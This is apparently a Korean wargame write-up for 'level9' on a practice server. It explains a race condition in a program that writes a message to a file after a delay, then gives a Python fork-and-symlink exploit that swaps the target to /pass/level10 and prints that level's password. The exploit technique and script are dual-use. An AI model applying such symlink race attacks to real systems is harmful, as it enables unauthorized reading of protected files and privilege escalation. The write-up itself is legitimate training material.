Level9로 접속하여 README 파일을 읽어보면 다음과 같다.
This level is a race condition. There is no source. Use /levels/tmp.
Good Luck!
레이스 컨디션 문제이다. /levels/level9 를 실행하여 보면 다음과 같다.
level9@blowfish:/levels/tmp/level9$ /levels/level9
usage : /levels/level9 file message
파일과 메세지를 입력하라고 한다. 여기서 존재하지 않는 파일을 명시하고
아무 메세지나 입력하게 되면 다음과 같이 출력이 된다.
level9@blowfish:/levels/tmp/level9$ /levels/level9 /levels/tmp/nothing gee!
Write Ok
gee!
Write OK 라는 메세지가 나온 후 약 2초 정도 지난후에 우리가 입력한 메세지가 나온다.
이 약간의 지연시간때 우리는 심볼릭 링크를 통해 공격을 할 수 있게 된다.
그럼 공격코드를 작성해 보도록 하자.
#!/usr/bin/python
import os, time
ret = os.fork()
if(ret == 0):
print 'I\'m son.'
time.sleep(1)
print 'wake up!'
os.remove('/levels/tmp/level9/ln')
os.symlink('/pass/level10', '/levels/tmp/level9/ln')
else:
print 'I\'m parent'
os.symlink('/levels/tmp/geegee', '/levels/tmp/level9/ln')
os.system('/levels/level9 /levels/tmp/level9/ln gee')
실행하면 다음과 같다.
level9@blowfish:/levels/tmp/level9$ ./ex.py
I'm son.
I'm parent
Write Ok
wake up!
error:U_sux0rZ